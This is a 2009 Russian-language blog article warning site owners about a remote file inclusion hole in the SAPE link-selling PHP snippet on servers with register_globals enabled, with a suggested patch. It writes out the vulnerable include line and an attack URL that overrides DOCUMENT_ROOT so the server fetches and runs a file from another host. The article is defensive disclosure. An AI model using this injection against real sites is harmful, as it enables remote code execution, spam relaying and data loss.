Уязвимость сапе при register_globals ON23.12.2009 сайт автора: http://webi.ru
публикация данной статьи разрешена только со ссылкой на сайт автора статьиВ последнее время ко мне все чаще и чаще начали обращаться за помощью владельцы различных сайтов. Некоторым сайтам админы хостинга заблокировали возможность отправки почты из-за рассылки спама(которую они не рассылали). Некоторым вообще заблокировали сайты по причине сильно большой нагрузки на сервера хостинга. У некоторых постоянно исчезают файлы и базы данных.
Как оказалось, причина всего этого очень простая, хакеры подгружают на сайты скрипты и запускают их. Естественно, эти зловредные скрипты и начинают рассылать спам, удалять файлы или делают другие пакости.
Итак, я начал искать дыры в этих сайтах. Все проблемные сайты работали в режиме register_globals on либо эмулировали этот режим. Конечно, использовать register_globals ON дело опасное, но есть старые надежные скрипты, которые работают только в этом режиме и написаны очень грамотно и без дыр, поэтому еще очень много сайтов работают в register_globals on. Найти дыры в скриптах сайтов я не смог, так как написаны они были грамотно... Но совершенно случайно я нашел эту дыру в коде сапы, который был установлен на всех этих сайтах.
Если вы продаете ссылки с помощью сапе, вы знаете, что для вывода ссылок на сайте нужно установить PHP код от сапе. И вот в самом выводе ссылок и есть дыра, вот часть проблемного кода
require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php');
Как видно, тут происходит подгрузка файла из директории относительно ЯКОБЫ корня сайта. Но если ваши скрипты работают в режиме register_globals on и PHP имеет включенную настройку подгрузки удаленных файлов, то переменную $_SERVER['DOCUMENT_ROOT'] можно элементарно подменить через ссылку и указав в ней адрес чужого сайта откроется файл не с вашего сайта, а файл с чужого сайта, да и не просто откроется, а именно загрузится к вам на сервер и запустится. Ну а что будет дальше, это уже ограничено воображением хулигана, который загрузит файл. Получается, что устанавливая код сапе на старый проверенный бездырый скрипт открывается дыра. В настоящее время роботы обходят практически все сайты в интернете и ищут эту дыру(видно в логах сайтов), поэтому если у вас включен register_globals, будте внимательны.
Как же защититься? Самый идеальный вариант, это конечно вЫключить глобальные переменные, но если этого сделать нельзя, можно поставить такую заплату Перед вызовом файла сапы нужно поставить проверку, не было ли подмены серверной переменной. И тогда файл загрузится только если не было подмены.
if(!isset($_GET['_SERVER']['DOCUMENT_ROOT']) and !isset($_POST['_SERVER']['DOCUMENT_ROOT'])) require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php');
Большая часть хостингов конечно настроены так, что эта дыра не сработает, но некоторые скрипты раскрывают такую уязвимость с помощью изменения настроек, а некоторые хостинги сразу имеют такую настройку.
Конечно эта дыра касается не только кода сапе. В любом скрипте работающим в register_globals on должны быть проверки любых переменных перед их использованием, это одно из самых первых правил. Нельзя подгружать файлы таким образом
include($_SERVER['DOCUMENT_ROOT'].'/file.php'); либо перед загрузкой файла нужно проверить $_SERVER['DOCUMENT_ROOT'], а вдруг ее уже подменили.
А подменяется она очень просто. В ссылке просто пишем что-то похожее на это /index.php?_SERVER[DOCUMENT_ROOT]=http://site/file Таким образом может произойти подмена серверной переменной.
Можете посмотреть логи доступа к своему сайту и наверняка увидите там много запросов к своим страницам с параметрами _SERVER[DOCUMENT_ROOT] Лично я в последнее время не видел сайта, у которого в логах не было бы таких попыток взлома и ежедневно идут попытки найти эту дыру.
Ну и P.S. Я писал в тех поддержку сапы, чтобы они внесли изменения в свой код, но они ответили, что если кто то и использует скрипты в режиме register_globals on, то эти люди должны сами заботятся о своей безопасности. Поэтому я и решил вам об этом рассказать.
Комментарии
RSS комментарии
Добавить свой комментарий
|